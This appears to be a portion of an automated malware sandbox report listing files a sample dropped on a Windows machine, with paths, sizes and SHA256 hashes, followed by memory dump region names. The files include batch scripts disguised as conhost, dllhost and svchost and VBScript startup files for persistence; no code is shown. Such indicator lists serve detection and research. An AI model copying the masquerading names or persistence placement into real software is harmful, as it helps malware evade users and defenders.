                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                          • Size 62KB
                                                                                                                          • SHA256 b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          StartupProfileData-Interactive

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 ad07c03db372182c7590d72607b4a6cc0e3d22e58728f6d102f11673dda2d03e
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          StartupProfileData-Interactive

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 9e7673490258c2e8bc64887d0b20191b9e6f23acc04849a4de71e800f64d50e3
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          StartupProfileData-Interactive

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 d740d9fd7cc5c16f6e1d699d1cc3f56d62a15557e1880d5ec63e6a01b3151e8f
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          StartupProfileData-Interactive

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 73442ce02bd689c8cfc48c810aa8565bb0854aa68de61c08b228fe5dc713742d
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          StartupProfileData-NonInteractive

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                          • Size 1KB
                                                                                                                          • SHA256 0a2b951533b29655270b941077bbf34ba21a5a59aebaf9948130ff31c7adf808
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          __PSScriptPolicyTest_wirkp4sl.cih.ps1

                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wirkp4sl.cih.ps1
                                                                                                                          • Size 60B
                                                                                                                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          conhost.bat

                                                                                                                          • Path C:\Users\Admin\AppData\Local\conhost.bat
                                                                                                                          • Size 274KB
                                                                                                                          • SHA256 1712234dc7e53f17f82ce68b88b233c255dace791b6d554ec6ed97c02fa77521
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          dllhost.bat

                                                                                                                          • Path C:\Users\Admin\AppData\Local\dllhost.bat
                                                                                                                          • Size 83KB
                                                                                                                          • SHA256 8977812b16f1e3d827cbce1675d9ad9e2f0370cf27cb3b23b389594739c3b837
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          svchost.bat

                                                                                                                          • Path C:\Users\Admin\AppData\Local\svchost.bat
                                                                                                                          • Size 304KB
                                                                                                                          • SHA256 52974d82b405f9ebba25b6de26cbf2c59f4ec9e4d6c7059661f9f2f02e29d03e
                                                                                                                          • MD5 SHA1 SHA512 SSDEEP

                                                                                                                          $phantom-startup_str_202.vbs

                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\$phantom-startup_str_202.vbs
                                                                                                                          • Size 124B
                                                                                                                          • SHA256 2c7914b273f98661d06676db84747a68aafd5fb2b3c917e313d32da323af4765
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          $svchost_726.vbs

                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\$svchost_726.vbs
                                                                                                                          • Size 112B
                                                                                                                          • SHA256 e3d3699cac15e14cc815760e672cd56355c9d5c04230d5008ddb53b52d4cdcdc
                                                                                                                          • MD5 SHA1 SHA512

                                                                                                                          memory/540-147-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/756-106-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/884-46-0x000002CEA1AB0000-0x000002CEA1AC2000-memory.dmp

                                                                                                                          memory/884-47-0x000002CE89810000-0x000002CE8A810000-memory.dmp

                                                                                                                          memory/884-45-0x000002CEA1A10000-0x000002CEA1A18000-memory.dmp

                                                                                                                          memory/1112-196-0x00000243D9D60000-0x00000243D9D68000-memory.dmp

                                                                                                                          memory/1112-197-0x00000243D9D70000-0x00000243D9DAC000-memory.dmp

                                                                                                                          memory/1176-98-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1376-95-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1524-148-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1548-97-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1564-102-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1728-107-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1744-105-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1820-100-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/1908-108-0x000002931D610000-0x000002931D61E000-memory.dmp

                                                                                                                          memory/1964-99-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/2492-149-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/2692-209-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/2692-25-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/3252-24-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/3252-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/3252-9-0x000001EBE2DE0000-0x000001EBE2E02000-memory.dmp

                                                                                                                          memory/3252-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/3252-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

                                                                                                                          memory/3252-13-0x000001EBFB440000-0x000001EBFB486000-memory.dmp

                                                                                                                          memory/3252-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

                                                                                                                          memory/3252-16-0x000001EBFB560000-0x000001EBFB630000-memory.dmp

                                                                                                                          memory/3252-15-0x000001EBFB490000-0x000001EBFB562000-memory.dmp

                                                                                                                          memory/3252-14-0x000001EBE2E50000-0x000001EBE2E58000-memory.dmp

                                                                                                                          memory/3268-57-0x000002412DF40000-0x000002412DF48000-memory.dmp

                                                                                                                          memory/3268-58-0x000002412E160000-0x000002412E196000-memory.dmp

                                                                                                                          memory/3316-86-0x0000000003E10000-0x0000000003E3A000-memory.dmp

                                                                                                                          memory/3316-94-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp

                                                                                                                          memory/3936-96-0x00007FFF77E30000-0x00007FFF77E40000-memory.dmp